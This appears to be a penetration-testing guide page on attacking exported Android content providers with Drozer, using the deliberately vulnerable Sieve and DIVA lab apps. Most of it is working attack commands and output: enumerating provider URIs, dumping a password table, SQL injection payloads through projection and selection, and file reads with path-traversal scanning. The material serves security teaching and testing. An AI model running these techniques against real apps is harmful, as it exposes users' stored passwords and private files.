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Network Services Pentesting
Exploiting Content Providers

Exploiting Content Providers

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Intro

A content provider component supplies data from one application to others on request. Such requests are handled by the methods of the ContentResolver class. A content provider can use different ways to store its data and the data can be stored in a database, in files, or even over a network.
It has to be declared inside the Manifest.xml file. Example:
<provider android:name=".DBContentProvider" android:exported="true" android:multiprocess="true" android:authorities="com.mwr.example.sieve.DBContentProvider">
<path-permission android:readPermission="com.mwr.example.sieve.READ_KEYS" android:writePermission="com.mwr.example.sieve.WRITE_KEYS" android:path="/Keys"/>
</provider>
In this case, it's necessary the permission READ_KEYS to access content://com.mwr.example.sieve.DBContentProvider/Keys (Also, notice that in the next section we are going to access /Keys/ which isn't protected, that's because the developer got confused and protected /Keys but declared /Keys/)
Maybe you can access private data or exploit some vulnerability (SQL Injection or Path Traversal).

Get info from exposed content providers

dz> run app.provider.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
Authority: com.mwr.example.sieve.DBContentProvider
Read Permission: null
Write Permission: null
Content Provider: com.mwr.example.sieve.DBContentProvider
Multiprocess Allowed: True
Grant Uri Permissions: False
Path Permissions:
Path: /Keys
Type: PATTERN_LITERAL
Read Permission: com.mwr.example.sieve.READ_KEYS
Write Permission: com.mwr.example.sieve.WRITE_KEYS
Authority: com.mwr.example.sieve.FileBackupProvider
Read Permission: null
Write Permission: null
Content Provider: com.mwr.example.sieve.FileBackupProvider
Multiprocess Allowed: True
Grant Uri Permissions: False
We can reconstruct part of the content URIs to access the DBContentProvider, because we know that they must begin with โ€œcontent://โ€ and the information obtained by Drozer inside Path: /Keys.
Drozer can guess and try several URIs:
dz> run scanner.provider.finduris -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Unable to Query content://com.mwr.example.sieve.DBContentProvider/
...
Unable to Query content://com.mwr.example.sieve.DBContentProvider/Keys
Accessible content URIs:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/
You should also check the ContentProvider code to search for queries:
Also, if you can't find full queries you could check which names are declared by the ContentProvider on the onCreate method:
The query will be like: content://name.of.package.class/declared_name

Database-backed Content Providers

Probably most of the Content Providers are used as interface for a database. Therefore, if you can access it you could be able to extract, update, insert and delete information. Check if you can access sensitive information or try to change it to bypass authorisation mechanisms.
When checking the code of the Content Provider look also for functions named like: query, insert, update and delete:
Because you will be able to call them

Query content

dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --vertical
_id: 1
service: Email
username: incognitoguy50
password: PSFjqXIMVa5NJFudgDuuLVgJYFD+8w==
-

Insert content

Quering the database you will learn the name of the columns, then, you could be able to insert data in the DB:
Note that in insert and update you can use --string to indicate string, --double to indicate a double, --float, --integer, --long, --short, --boolean

Update content

Knowing the name of the columns you could also modify the entries:

Delete content

SQL Injection

It is simple to test for SQL injection (SQLite) by manipulating the projection and selection fields that are passed to the content provider. When quering the Content Provider there are 2 interesting arguments to search for information: --selection and --projection:
You can try to abuse this parameters to test for SQL injections:
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'"
unrecognized token: "')" (code 1): , while compiling: SELECT * FROM Passwords WHERE (')
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "*
FROM SQLITE_MASTER WHERE type='table';--"
| type | name | tbl_name | rootpage | sql |
| table | android_metadata | android_metadata | 3 | CREATE TABLE ... |
| table | Passwords | Passwords | 4 | CREATE TABLE ... |
Automatic SQLInjection discovery by Drozer
dz> run scanner.provider.injection -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Injection in Projection:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/
Injection in Selection:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/
dz> run scanner.provider.sqltables -a jakhar.aseem.diva
Scanning jakhar.aseem.diva...
Accessible tables for uri content://jakhar.aseem.diva.provider.notesprovider/notes/:
android_metadata
notes
sqlite_sequence

File System-backed Content Providers

Content providers could be also used to access files:

Read file

You can read files from the Content Provider
dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts
127.0.0.1 localhost

Path Traversal

If you can access files, you can try to abuse a Path Traversal (in this case this isn't necessary but you can try to use "../" and similar tricks).
dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts
127.0.0.1 localhost
Automatic Path Traversal discovery by Drozer
dz> run scanner.provider.traversal -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Vulnerable Providers:
content://com.mwr.example.sieve.FileBackupProvider/
content://com.mwr.example.sieve.FileBackupProvider

References

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